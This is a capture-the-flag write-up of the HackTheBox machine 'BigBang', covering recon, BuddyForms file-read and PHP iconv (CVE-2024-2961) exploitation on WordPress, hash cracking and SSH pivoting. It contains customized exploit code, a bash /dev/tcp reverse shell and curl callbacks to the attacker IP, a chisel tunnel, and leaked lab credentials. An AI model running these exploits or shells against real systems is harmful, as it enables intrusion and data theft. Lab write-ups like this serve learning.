BigBang

INTRODUCTION

BigBang was released as the third box of Season 7 Vice. It’s rated as Hard, but I think it’s more correctly classified as Insane. It took me roughly 35h to complete, research and all.

Recon was pretty simple, at surface level. The target is just a standard Wordpress site. Do a bit of Wordpress-specific recon to find some interesting things about the site. Try finding the interactive elements on the page, and you will quickly see a way to upload files. If you can turn this into an arbitrary upload, you’re well on the way to foothold.

Vulnerability research is absolutely essential for foothold. The exploit you’ll need to craft really has two major parts. The first part is not too big of a stretch, an experienced person can figure it out without too much difficulty. The second part, however, is ludicrous, and it’s absolutely baffling how anyone ever figured it out - one of those Pwn exploits that require crazy memory management tricks. Thankfully, there is a PoC somewhere that will aid in crafting an exploit for this target.

If you somehow manage to gain a foothold, things get a lot more straightforward, but there will be three more pivots still. Crack some hashes, test some credential reuse, repeat.

At the final user, you will discover an APK to analyze. Try to learn how the app works, and how it might interact with the rest of the system infront of you. Ultimately, the APK is only a way to gain an understanding of the surrounding environment; it’s not the actual target. The final exploit is deceptively simple, but requires a bypass that you might not try right away.

This box was… a major challenge. Despair. 😔

title picture

RECON

nmap scans

Port scan

I’ll set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scan it with a port scan covering all ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_  256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://blog.bigbang.htb/

Note the redirect to http://blog.bigbang.htb

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No results

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT      STATE         SERVICE    VERSION
7/udp     open|filtered echo
53/udp    open|filtered domain
68/udp    open|filtered tcpwrapped
80/udp    open|filtered http
136/udp   open|filtered tcpwrapped
162/udp   open|filtered tcpwrapped
177/udp   open|filtered xdmcp
1023/udp  open|filtered tcpwrapped
1433/udp  open|filtered tcpwrapped
1701/udp  open|filtered L2TP
1900/udp  open|filtered upnp
2049/udp  open|filtered nfs
10000/udp open|filtered ndmp
20031/udp open|filtered tcpwrapped
49154/udp open|filtered unknown
49156/udp open|filtered unknown
49181/udp open|filtered unknown
49190/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the nmap scan, I added bigbang.htb and the subdomain blog.bigbang.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=bigbang.htb
echo "$RADDR blog.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && whatweb --aggression 3 http://blog.$DOMAIN && curl -IL http://$RADDR

whatweb

Now we know:

  • The operating system is Debian
  • They’re running a current version of Apache
  • The target is Wordpress (I should go do some research on attacking wordpress 🚩)
  • Some weird headers are in the request

Subdomain enum

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results.

Next I’ll check for subdomains of bigbang.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

subdomain enum

Only the result we already knew about. It would be foolish to neglect to check for subdomains of that subdomain, though:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.blog.$DOMAIN" -c -t 60 -o fuzzing/vhost-blog-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results. I’ll move on to directory enumeration next:

Directory enum

First, I’ll check bigbang.htb:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

# composition of several wordlists from SecLists
WLIST=/usr/share/wordlists/dirs-and-files.txt 
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -fw 20

Nothing. now I’ll check the wordpress subdomain, blog.bigbang.htb:

ffuf -w $WLIST:FUZZ -u http://blog.$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-blog -of json -timeout 4 -e ',.php,.txt,.bak,.html,.xml' -mc all -fc 404

directory enum 1

directory enum 2

That’s a lot! But then again, I guess Wordpress isn’t exactly known for being lightweight 😅

Exploring the Website

The website looks like a landing page for a physics university. That’s right, a university that on only does physics.

index page

Wappalyzer analyzed a bunch of the included scripts and stylesheets to determine that we’re looking at Wordpress version 6.5.4

The bottom of the page has a TinyMCE editor that allows us to submit a “Review”. I tried one, and found that it submitted fine. The result was alongside the test Review done by root, shown here at http://blog.bigbang.htb/?cat=1:

submitted review

Wordpress Strategy

Theme scraping

curl -s -X GET http://blog.bigbang.htb | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2

theme scraping

This shows that the target is currently running the TwentyTwentyFour theme, which was the default theme for Wordpress during 2024.

Wordpress issues a theme like this every year. You can consider it the “basic” theme. It makes a great starting point for building your own theme, or fully-custom website in Wordpress. It also receives the most testing of any theme, so I doubt we’ll find any security holes in it.

Plugin scraping

curl -s -X GET http://blog.bigbang.htb | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2

plugin scraping

We can see that there are a bunch of links referencing the buddyforms plugin.

Buddyforms has had a few vulnerabilities disclosed over the last few years. One really notable one I found was regarding a failure to validate the image URL in the upload_image_from_url function. This can lead to all sorts of fun things, including PHAR deserialization. This vulnerability was patched at version 2.7.8, but we don’t actually know what version our target is running… I will definitely check this out soon 🚩

WPScan

WPScan is installed by default in Kali, and has a ton of excellent recon features. Let’s try it out:

wpscan --url blog.$DOMAIN

It uncovered a LOT of info:

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.62 (Debian)
 |  - X-Powered-By: PHP/8.3.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.bigbang.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>

[+] WordPress theme in use: twentytwentyfour
 | Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2024-09-25T04:52:00.000Z
 | [!] The version is out of date, the latest version is 2.8.13
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:04 
<=========================================================> 
(137 / 137) 100.00% Time: 00:00:04

[i] No Config Backups Found.

We already knew a few of those things, but this scan provided some valuable insight:

FOOTHOLD

PHAR Deserialization

🚫 This didn’t lead anywhere, but…

I end up re-using the second of the two requests that I showed below (the one that accesses a PHAR file by “uploading” to /wp-admin/admin-ajax.php).

If you’re short on time, just read that part and skip to the next section.

The author of the CVE-2023-26326 disclosure makes exploitation of the BuddyForms bug sound really easy. However, they mention a couple times that they’ve inserted a “dummy” helper class to ensure that their payload actually executes.

We definitely don’t have such a “dummy” class on our target, so I’m not expecting success on this… Regardless, there have been some really easy PHAR deserialization bugs in the past, so let’s try out their methods and see what happens.

Their “Dummy” class (not shown here) contains a definition for the Evil class, which implements the __wakeup() method. This is one of the PHP “magic” methods that performs deserialization and can be used to achieve RCE; it’s one of the methods that froms the basis of PHP POP chains.

The point is this: since our target does not have Evil declared when evil.phar would be deserialized, there is zero chance that this will work. Make sense?

I copied the author’s PHP for generating a PoC phar file:

<?php

class Evil{
    function revshell() : void {
        echo "hello world";
        phpinfo();
    }
    public function __wakeup() : void {
        revshell();
        die("Arbitrary Deserialization");
    }
}

//create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();

To run the script and generate the .phar file, we must set phar.readonly to false:

php --define phar.readonly=0 phar_deserialization_1.php

I’ve already observed that the Review feature on the front page of our target interacts with /wp-admin/admin-ajax.php and uses BuddyForms (vulnerable version), so that’s where we’ll submit this payload.

BuddyForms has a filetype filter, but we can bypass this easily be interacting with the /wp-admin/admin-ajax.php endpoint directly, circumventing the form entirely.

changing filetype back to gif

We can verify that the upload succeeded by checking the uploads directory: http://blog.bigbang.htb/wp-content/uploads/2025/01/. The file gets renamed to 1.png automatically.

The second part is perform that same request, but upload the file to the server using the phar:// wrapper. We must use the same id parameter:

Since we need to use the phar:// wrapper, the URL must now point to a file, instead of an HTTP address. Therefore, we will use the relative path to the uploads directory instead.

upload phar failed

This might work, but to get RCE I would have to find a gadget chain that actually exists in the application. For now though, this might be useful an file read?

Arbitrary File Read

While searching for ways to leverage BuddyForms into a file read, I came across another, much larger, article by Ambionics. They reference the BuddyForms-related CVE and show how they were able to turn CVE-2023-26326 into RCE 😮

It looks like they listed their findings as CVE-2024-2961. They also mention using another tool by Ambionics called wrapwrap. Wrapwrap determines the PHP filter chain (as shown in the CVE-2024-2961 article) that can be used to encapsulate data - adding both a prefix and a suffix to the data. Perfect for if we want to trick the server into interpreting a file as an “alternative” file type!

mkdir ./python-env && cd python-env
python3 -m venv . && source bin/activate
https://github.com/ambionics/wrapwrap.git
pip3 install ten  # there's no requirements.txt file for this repo, so install manually
python3 wrapwrap.py /etc/passwd 'GIF89a\n' '' 100

wrapwrap 1

This should make a PHP filter chain to read /etc/passwd, prefixing it with a GIF header. The filter chain is in ./chain.txt and appears to have worked perfectly.

wrapwrap 2

Using this filter chain, we should be able to re-use the idea from the CVE-2023-26326 blog post, combining it with CVE-2024-2961, to perform an arbitrary file read.

It took a little while, but I put together a nice script to tackle everything: https://github.com/4wayhandshake/CVE-2024-2961. I also included a handy feature that allows us to download files from this same prompt.

The prefix length is 9 because of GIF89a\n (and the slash counts as two chars, due to python’s character escaping)

LFI script

Wordpress Admin Panel

As shown during directory enumeration, we can freely access the login at /wp-admin. We don’t have any valid credentials, but we’re reasonably certain (based on existing Reviews on the blog) that root is a username.

As saw earlier, we could probably transform some PHAR deserialization into RCE if we only had a vulnerable class already loaded into memory - one that implements at least one of the PHP POP chain “magic functions”.

So, if we can login to /wp-admin, couldn’t we just load a malicious plugin into the website that has a vulnerable Class in it?

Or even better, could we just install a plugin that provides us a webshell directly?

Getting valid credentials to the admin panel would open us up to a whole new set of possibilities for foothold.

But since this is standard Wordpress, and we have an LFI that can access anything the webserver can reach, why not just check to see if we can get a password?

The main Worpress config file is wp-config.php:

wp-config leaked

Theres a whole bunch of secrets in this file:

define( 'AUTH_KEY',         '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY',  'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY',    ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY',        'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT',        '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT',   '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT',       't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );

But, unless I’m mistaken, we can’t actually use these without some kind of XSS 🤔

There’s a good chance a smarter person would know how to utilize this info, but I don’t! 😓

Ambionics CVE-2024-2961 Exploit

Planning

We saw earlier from the video at the bottom of the Ambionics article that the author was able to leverage CVE-2024-2961 into full RCE:

https://www.ambionics.io/images/iconv-cve-2024-2961-p1/demo.mp4

How is that possible? Well, in short, they used long Iconv PHP filter chain that overflows data to ultimately cause an out-of-bounds access to libc and execute OS shell commands:

  1. LFI /proc/self/maps from the target, to find the location of the PHP heap and within it, the location of the reference to libc
  2. LFI libc to locate the reference to system()
  3. Perform a miraculous heap overflow (as described in the article) that injects a command into system(), thus gaining RCE

If I’m following correctly, we should be able to customize their cnext-exploit.py script to replicate their work.

Reading the exploit

Thankfully, the script is really well-commented and leaves instructions for how we might customize it for our target.

cnext exploit unmodified

Basically, we need to write a custom implementation of Remote. That’s really simple, since Remote does almost exactly the same job as my LFI script! I was able to copy-paste a lot of it from the work I had already done.

We implement the Remote class so that it follows the same method as our LFI:

  • Use the same upload to /wp-admin/admin-ajax.php as before, tricking the server into thinking we’re uploading a GIF by using a PHP filter chain. ** The filter chain may or may not also perform some kind of data exfiltration.*
  • Successful upload returns a URL of the “uploaded” file, we then access that file via a GET request to see our exfil’d data.

We just need to separate the download() –> send() flow into the two distinct steps described above.

After the definition of Remote, the exploit does a few things:

  1. Tests whether or not we have access to the PHP wrappers: data, filter, and zlib.inflate
  2. Gets a copy of /self/proc/maps
  3. Gets a copy of whatever reference to libc it finds in /self/proc/maps
  4. Performs the heap overflow, sneaking a payload into system()

Implementing Remote

This is roughly where I landed for my first draft of Remote:

I’ve trimmed out filter_chain and headers for brevity. filter_chain is just what I got from wrapwrap (same as I used for the LFI) and headers are a copy-paste from my original interactions with blog.bigbang.htb via ZAP 👇

class Remote:
    """A helper class to send the payload and download files.
    
    The logic of the exploit is always the same, but the exploit needs to know how to
    download files (/proc/self/maps and libc) and how to send the payload.
    
    The code here serves as an example that attacks a page that looks like:
    
    ```php
    <?php
    
    $data = file_get_contents($_POST['file']);
    echo "File contents: $data";
Tweak it to fit your target, and start the exploit.
"""
filter_chain = 'convert.base64-encode|convert.iconv.855.UTF7|...|convert.base64-decode'

headers = {
    "host": "blog.bigbang.htb",
    #...
    "Sec-GPC": "1"
}
    
def __init__(self, url: str) -> None:
    self.url = url
    self.session = Session()

def send(self, path: str) -> Response:
    """Sends given `path` to the HTTP server. Returns the response.
    """
    return self.session.get(path, proxies=proxies)
    
def download(self, path: str) -> bytes:
    """Returns the contents of a remote file.
    """
    uploaded_path = self.upload_resource(path)
    if uploaded_path is None:
        return
    response = self.send(uploaded_path)
    # Remove the GIF prefix
    t = response.text[9:]
    return t.encode()
    
def upload_resource(self, path: str) -> None:
    url = f'http://blog.bigbang.htb/wp-admin/admin-ajax.php'
    _url = f'php://filter/{self.filter_chain}/resource={path}'
    data = {
        "action": "upload_image_from_url",
        "url": _url,
        "id": 42,
        "accepted_files": "image/gif"
    }
    resp = self.session.post(url, headers=self.headers, data=data, timeout=3, proxies=proxies)
    if 200 <= resp.status_code <= 299:
        resp_data = resp.json()
        if ('status' in resp_data) and ('response' in resp_data) and resp_data.get('status') == 'OK':
            return resp_data.get('response')
        return None
    return None

With `Remote` in this state, a call to `Remote::download()` pretty much replicates what my LFI script did before.

#### Pre-exploit tests

It didn't take long to realize that the `Remote` class in this state caused all of the pre-exploit tests to fail. 

> ##### Out-of-band testing
>
> The end goal of this exploit is to gain RCE. To verify whether or not it's working, I'll be issuing a simple `curl` command so that it contacts my (attacker-controlled) HTTP server; i.e. I'll try to inject this:
>
> ```bash
> curl "http://10.10.14.14:8000?msg=cnext"
> ```
>
> To listen for this, I'll start up an [HTTP server](https://github.com/4wayhandshake/simple-http-server):
>
> ```bash
> sudo ufw allow from $RADDR to any port 8000
> simple-server 8000 -v
> ```

Why did the pre-exploit tests fail? Simple: those tests include their own filter chains and `/resource=` parts, so I had to adjust the code to accomodate that. I added an extra arg called `has_own_wrapper` and changed the behaviour of `upload_resource` to trim out the provided PHP wrappers and `resource`, and insert them into the proper spots within the actual POST request:

```python
    def upload_resource(self, path: str, has_own_wrapper) -> None:
        url = f'http://blog.bigbang.htb/wp-admin/admin-ajax.php'
        if not has_own_wrapper:
            _url = f'php://filter/{self.filter_chain}/resource={path}'
        else:
            # How can I merge the GIF filter chain with the one provided in path?
            i = path.find('/resource=')
            ii = len('/resource=')
            if i < 0:
                raise ValueError('the "/resource=" substring was expected, but not provided:\n{path}')
            resource = path[i+ii:]
            j = path.find('php://filter/')
            jj = len('php://filter/')
            filt = self.filter_chain
            if j >= 0 and (abs(i-(j+jj))>0):
                # Append the provided filter chain to the GIF filter chain?
                filt = self.filter_chain + '|' + path[j+jj:i]
            _url = f'php://filter/{filt}/resource={resource}'
        data = {
            "action": "upload_image_from_url",
            "url": urllib.parse.quote_plus(_url),
            "id": 42,
            "accepted_files": "image/gif"
        }
        resp = self.session.post(url, headers=self.headers, data=data, timeout=10, proxies=proxies)
        if 200 <= resp.status_code <= 299:
            resp_data = resp.json()
            if ('status' in resp_data) and ('response' in resp_data) and resp_data.get('status') == 'OK':
                return resp_data.get('response')
            return None
        return None

Yep! That actually works surprisingly well 👍

However, this code still causes the zlib.inflate test to fail. Ultimately, I realized that zlib.inflate was only required for the final payload, so I didn’t actually need to fix this behaviour by changing Remote (more on that later)

Bypassing the tests

For now, we can just bypass the pre-exploit check for zlib.inflate:

# ...
text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

if False and not check_token(text, path):
#if not check_token(text, path):
    failure("The [i]zlib[/] extension is not enabled")

msg_info("The [i]zlib[/] extension is enabled")

msg_success("Exploit preconditions are satisfied")
# ...

Recall steps 1-4 that I outlined in the “reading the exploit” section - The code in this state actually gets us all the way to step 3!

That’s pretty good progress.

Step 3: Get a copy of libc

Even after all kinds if creative workarounds in the code, I could NOT get past part where the exploit reads libc and tries to find the reference to system() 😞

🤔 But maybe we don’t need to fix the code? Maybe we can just bypass this too? After all, the exploit is simply utilizing the LFI to download libc and save it to /dev/shm/cnext-libc, where it access the file from that location:

def get_symbols_and_addresses(self) -> None:
    """Obtains useful symbols and addresses from the file read primitive."""
    regions = self.get_regions()

    LIBC_FILE = "/dev/shm/cnext-libc"

    # PHP's heap

    self.info["heap"] = self.heap or self.find_main_heap(regions)

    # Libc

    libc = self._get_region(regions, "libc-", "libc.so")

    self.download_file(libc.path, LIBC_FILE)  # <--- Use the LFI and save to /dev/shm/cnext-libc

    self.info["libc"] = ELF(LIBC_FILE, checksec=False)
    self.info["libc"].address = libc.start

We already have a reliable LFI (my other script), so why not just check /proc/self/maps and see what libc it’s trying to access?

locating libc in proc self maps

Cool, so it’s going to try to get /usr/lib/x86_64-linux-gnu/libc.so.6 from the target and read it. Seems simple, so why is that part failing? To investigate, I downloaded a copy of that file using my LFI script, and checked it out:

readelf -h libc.so.6

libc is corrupted

The target’s copy of libc.so.6 is corrupted! Quite badly, too. Maybe we can download the correct one and just bypass that whole portion of the exploit? First, we’ll need to know exactly which version of libc.so.6 we’re looking at:

cat libc.so.6 | grep -a version

libc version

That means that the exact version we want should have the filename libc6_2.36-9+deb12u4. We can find it with a quick search:

finding glibc specific version

Is this a legitimate version of libc? Who’s to say! 🎲

Checking this result, we can find a download for the libc binary partway down the page:

libc binary download

It comes bundled as a .deb file, so we’ll need to extract it:

mkdir libc
dpkg-deb -x 'libc6_2.36.9+deb12u4_amd64.deb' ./libc

This unpacks a whole directory structure, but we can cherry-pick the exact file we need:

cp libc/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6

Now we can modify the exploit to reference this file, instead of getting the corrupt one from the target:

# ...
def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()
        #LIBC_FILE = "/dev/shm/cnext-libc"         <-- REPLACED
        LIBC_FILE = "/home/kali/Box_Notes/BigBang/libc.so.6"
        self.info["heap"] = self.heap or self.find_main_heap(regions)
        libc = self._get_region(regions, "libc-", "libc.so")
        #self.download_file(libc.path, LIBC_FILE)  <-- REMOVED
        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start
# ...

Let’s try running the script again, now that we’re substituting in an alternate (hopefully not corrupt) version of libc.so.6:

python3 cnext-exploit-customized.py 'http://blog.bigbang.htb' 'curl http://10.10.14.14:8000?msg=cnext'

We ran into an error again:

exploit failed before payload delivered

And it’s failing right before the payload is delivered (hey, that’s good progress!):

def exploit(self) -> None:
    path = self.build_exploit_path()
    start = time.time()
    try:
        self.remote.send(path)  # <---- Failing at this line of Exploit
    except (ConnectionError, ChunkedEncodingError):
        pass

I think I know why, though. It’s because I accidentally let the exploit double-up on the PHP filter chain. To avoid the usual behavour of my Remote::upload_resource() function (which wraps the provided path with a filter chain to disguise as GIF), I’ll write a new method for Remote that sends the payload without any disguise - I’ll let this last part of the exploit be sent exactly as the exploit author wrote it:

Theoretically, we don’t need to disguise the final payload as a GIF, because by the time the server parses the Iconv filter chain, it’ll be too late: the payload will have already deployed.

☝️ We don’t need the GIF disguise because we don’t need to actually download any response from the server.

Using the send_raw() method, we can submit the payload as-is, while still conforming to our usual “upload-then-read” methodology (like we used with the initial LFI):

class Remote:
    # ...
    def send_raw(self, path: str) -> Response:
        url = f'http://blog.bigbang.htb/wp-admin/admin-ajax.php'
        data = {
            "action": "upload_image_from_url",
            "url": urllib.parse.quote_plus(path),
            "id": 43,
            "accepted_files": "image/gif"
        }
        resp = self.session.post(url, headers=self.headers, data=data, timeout=3, proxies=proxies)
        resp_url = None
        if 200 <= resp.status_code <= 299:
            resp_data = resp.json()
            if ('status' in resp_data) and ('response' in resp_data) and resp_data.get('status') == 'OK':
                resp_url = resp_data.get('response')
        if not resp_url:
            print(f'The response failed to return a URL:\n{json.dumps(resp.json())}')
            return
        return self.session.get(resp_url, proxies=proxies)

# ...
    
class Exploit:
    # ...
    def exploit(self) -> None:
        path = self.build_exploit_path()
        start = time.time()
        try:
            #self.remote.send(path)  # <---- REPLACED
            self.remote.send_raw(path)
        except (ConnectionError, ChunkedEncodingError):
            pass
# ...

After this most recent modification, we get a new error - the error we’d expect if the server rejects the file upload due to improper file type:

python3 cnext-exploit-customized.py 'http://blog.bigbang.htb' 'curl http://10.10.14.14:8000?msg=cnext'

exploit run finally rce

That’s no surprise, though. Since I didn’t include our “pretend it’s a GIF” PHP filter chain in the send_raw() method, this makes perfect sense.

But then I noticed something that nearly knocked me out of my chair:

contact from target after exploit

YES!

YEEEESSSS!

Regardless of the error, we just got RCE!

Reverse shell

If I’m going to leverage RCE into a reverse shell, I’ll need to set up a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444
bash
nc -lvnp 4444

OK, let’s run the exploit again, and see if we pop a shell:

python3 cnext-exploit-customized.py 'http://blog.bigbang.htb' 'bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"'

exploit success

Checking the reverse shell listener…

reverse shell www-data

Jackpot! 💰

USER FLAG

Local Enumeration - www-data

The reverse shell opens into the wordpress directory. I was already mostly aware of the structure of Wordpress, and know which files to expect. Much earlier, using the LFI script, I had already obtained wp-config.php, which contained several secrets but also database credentials.

As a refresher, this is what we found for DB cconfiguration inside wp-config.php:

define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_password' );
define( 'DB_HOST', '172.17.0.1' );

However, when I went to check netstat to see if a database was listening, I realized we are in a fairly limited docker container… The essentials are present though, so we’ll have to live off the land (and curl over what we need!)

Chisel SOCKS Proxy

I’ll serve a pre-built copy of chisel to www-data so that I can check out the database. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: I already have proxychains installed, and my /etc/proxychains.conf file ends with:

socks5  127.0.0.1 1080
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse

Then, on the target machine, start up the chisel client and background it:

./chisel client 10.10.14.14:9999 R:1080:socks &

MySQL

Now that the socks5 proxy is open, let’s try connecting to the database:

proxychains mysql -h 172.17.0.1 -D wordpress -u wp_user -pwp_password

Worked perfectly:

mysql 1

Let’s check the wp_users table first:

mysql 2

Great! I copy-pasted the hashes and usernames into a file:

root:$P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1
shawking:$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./

… and proceeded to try to crack them:

WLIST=/usr/share/wordlists/rockyou.txt
hashcat passwords.hash $WLIST --username

I waited for hours and… nothing. 😞

Finally got fed up and switched to a laptop with a hefty GPU and it managed to crack the password in under a second (and finished rockyou in 15s 🙄 shawking : quantumphysics

We’re able to use this to log into /wp-admin, which is the purpose of the database, but there’s nothing really in there:

wordpress dashboard

Let’s check for credential reuse on SSH…

shawking ssh

🎉 Alright! SSH drops us into /home/shawking, where the user flag is located. Go ahead and read it for the points:

cat user.txt

ROOT FLAG

Local enumeration - shawking

There are two other low priv users on this box with a login shell:

root:x:0:0:root:/root:/bin/bash
george:x:1000:1000:George Hubble:/home/george:/bin/bash
shawking:x:1001:1001:Stephen Hawking,,,:/home/shawking:/bin/bash
developer:x:1002:1002:,,,:/home/developer:/bin/bash

shawking has no sudo privileges, so it’s probable that I’ll need to pivot to another user before we can find a path to the root flag.

We can get a preview of a bit of the docker setup on this box by checking ps aux:

ps preview

There are several listening processes. Until now, we’ve only seen a couple of these ports:

  • 3306 will be the MySQL database we used earlier
  • 80 would be HTTP, mapped to one of the other ports listening on the docker container

netstat

Let’s pop out of SSH and re-login, this time forwarding some ports:

ssh -L 41443:localhost:41443 -L 9090:localhost:9090 -L 3000:localhost:3000 shawking@$RADDR

The first two ports appear to be using HTTP, but I’ll need to enumerate them. Port 3000, however, is definitely Grafana (the visualization application):

grafana login

Unfortunately, we don’t have creds for it. And this application is running so slowly that I don’t think I can do an online brute force (even a tiny one).

Thankfully though, I stumbled across some Grafana-related stuff while checking out /opt. I uploaded the DB for analysis on my attacker host:

uploaded grafana db

Grafana DB

Let’s take a look inside:

sqlite malformed

Oh, that’s annoying. Checking the file hashes, I realize that the upload did not work fully. I’ll use SCP instead:

